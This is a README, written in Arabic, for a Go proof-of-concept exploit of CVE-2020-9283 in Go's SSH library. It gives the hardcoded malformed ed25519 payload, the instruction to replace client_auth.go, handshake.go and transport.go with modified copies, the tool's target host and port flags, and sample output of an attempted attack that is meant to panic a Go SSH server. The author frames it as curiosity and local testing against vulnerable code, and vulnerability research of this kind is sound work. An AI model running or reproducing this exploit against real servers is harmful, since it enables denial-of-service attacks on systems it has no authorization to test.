
استغلال لثغرة CVE-2020-9283 مبني على Go
هذا المشروع مستوحى من الـ POC الأصلي الموجود هنا github.com/mark-adams/exploits/CVE-2020-9283. كنت فضوليًا حول كيفية تنفيذ مكتبة SSH الخاصة بلغة Go، لذا قررت تنفيذ الـ PoC باستخدام Go.
يمكن العثور على شرح قصير هنا https://dev.to/brompwnie/modifying-go-s-crypto-ssh-library-for-cve-2020-9283-26a7
يؤدي هذا إلى إحداث panic في خادم SSH مبني على Go، مما قد يؤدي إلى DoS.
لقد قمت بإصدار ملفات ثنائية في قسم الإصدارات (Release)، ومع ذلك يمكنك إعادة بناء نسختك الخاصة باستخدام الكود المصدري المرفق.
قررت تعديل مكتبة crypto الخاصة بـ Go مباشرة على نظامي لفهم كيفية عملها؛ هذا ليس مثاليًا وربما ليس أفضل طريقة للقيام بذلك لكنه يعمل ;) إذا كنت تريد إعادة البناء باستخدام وحدات Go (GO modules)، فاستبدل محتويات ملفات Crypto/ssh: client_auth.go وhandshake.go وtransport.go على نظامك المحلي بملفات ".bak" الموجودة هنا. تحتوي هذه الملفات المعدّلة على مخرجات تصحيح مفصّلة وحمولة ثابتة (hardcoded payload) بقيمة "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161" والتي تؤدي إلى حدوث panic.
سترى الكثير من مخرجات التصحيح و"أخطاء"، وهذا متوقع. إذا تعرّض هدفك إلى panic، فيجب أن ترى أخطاء مرتبطة بـ "bad key lengths". إذا كنت تريد اختبار هذا محليًا، فاستخدم الكود الهش الموجود هنا github.com/mark-adams/exploits/CVE-2020-9283
# ./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
-host string
IP address of SSH host to target (default "localhost")
-key string
ssh-ed25519 private key to use (default "thekey")
-port string
Port to target (default "22")
# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User: notme
[+] userAuthRequestMsg Service: ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'